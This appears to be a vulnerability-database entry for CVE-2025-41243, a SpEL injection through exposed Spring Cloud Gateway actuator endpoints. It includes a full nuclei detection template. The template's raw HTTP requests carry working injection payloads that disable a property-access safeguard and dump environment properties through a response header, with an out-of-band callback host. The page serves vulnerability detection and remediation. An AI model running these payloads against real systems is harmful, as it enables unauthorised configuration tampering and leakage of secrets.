HexBrain

Browse / CVEs / CVE-2025-41243

CVE-2025-41243· CWE-94

Spring Cloud Gateway Server Webflux - Broken Access Control

criticalseverity
10CVSS score
3.7%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Spring Cloud Gateway Server Webflux contains a vulnerability caused by unsecured and exposed actuator endpoints allowing modification of Spring Environment properties, letting attackers modify configuration, exploit requires unsecured actuator endpoints exposure.

Impact

Attackers can modify Spring Environment properties, potentially leading to configuration tampering and further compromise.

Fix

Secure actuator endpoints or disable gateway actuator exposure; update to latest Spring Cloud Gateway Server Webflux version.

How to confirm it

Send: POST /actuator/gateway/routes/{{route}} ; POST /actuator/gateway/refresh ; GET /actuator/gateway/routes/{{route}}
Positive when: status_code_1 == 201 && status_code_2 == 200 && status_code_3 == 200 and len(body_1) == 0 && len(body_2) == 0 and contains_all(body_3, "AddResponseHeader", "route_id")
Send: POST /actuator/gateway/routes/{{route}}
Positive when: status_code == 201 and len(body) == 0
Send: POST /actuator/gateway/refresh
Positive when: status_code == 200 and len(body) == 0
Send: GET /actuator/gateway/routes/{{route}}
Positive when: status_code == 200 and contains_all(body, "spring.cloud.gateway","RouteDefinitionRouteLocator")

Run it with nuclei: nuclei -id CVE-2025-41243 -u <target>

The full check
id: CVE-2025-41243

info:
  name: Spring Cloud Gateway Server Webflux - Broken Access Control
  author: Redmomn
  severity: critical
  description: |
    Spring Cloud Gateway Server Webflux contains a vulnerability caused by unsecured and exposed actuator endpoints allowing modification of Spring Environment properties, letting attackers modify configuration, exploit requires unsecured actuator endpoints exposure.
  impact: |
    Attackers can modify Spring Environment properties, potentially leading to configuration tampering and further compromise.
  remediation: |
    Secure actuator endpoints or disable gateway actuator exposure; update to latest Spring Cloud Gateway Server Webflux version.
  reference:
    - https://blog.z3r.ru/posts/spring-cloud-gateway-spel-vuln/
    - https://xz.aliyun.com/news/19006
    - https://spring.io/security/cve-2025-41243
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41243
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-41243
    epss-score: 0.03674
    epss-percentile: 0.89756
    cwe-id: CWE-94
  metadata:
    verified: true
    fofa-query: '((header="Server: Netty@SpringBoot" || (body="Whitelabel Error Page" && body="There was an unexpected error")) && body!="couchdb") || title="SpringBootAdmin-Server" || body="SpringBoot"'
  tags: cve,cve2025,spring-boot,injection,vuln,vkev

variables:
  route: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /actuator/gateway/routes/{{route}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "id": "{{route}}",
          "filters": [
            {
              "name": "AddResponseHeader",
              "args": {
                "value": "#{ @systemProperties['spring. cloud.gateway.restrictive-property-accessor.enabled'] = false}",
                "name": "cmd"
              }
            }
          ],
          "uri": "http://{{interactsh-url}}",
          "order": 0
        }

      - |
        POST /actuator/gateway/refresh HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /actuator/gateway/routes/{{route}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201 && status_code_2 == 200 && status_code_3 == 200'
          - 'len(body_1) == 0 && len(body_2) == 0'
          - 'contains_all(body_3, "AddResponseHeader", "route_id")'
        condition: and
        internal: true

  - raw:
      - |
        POST /actuator/gateway/routes/{{route}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "id": "{{route}}",
          "filters": [
            {
              "name": "AddResponseHeader",
              "args": {
                "value": "#{ @environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*' ][0].source.![{#this.getKey+'='+#this.getValue.toString}] }",
                "name": "cmd"
              }
            }
          ],
          "uri": "http://{{interactsh-url}}",
          "order": 0
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'len(body) == 0'
        condition: and
        internal: true

  - raw:
      - |
        POST /actuator/gateway/refresh HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(body) == 0'
        condition: and
        internal: true

  - raw:
      - |
        GET /actuator/gateway/routes/{{route}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "spring.cloud.gateway","RouteDefinitionRouteLocator")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from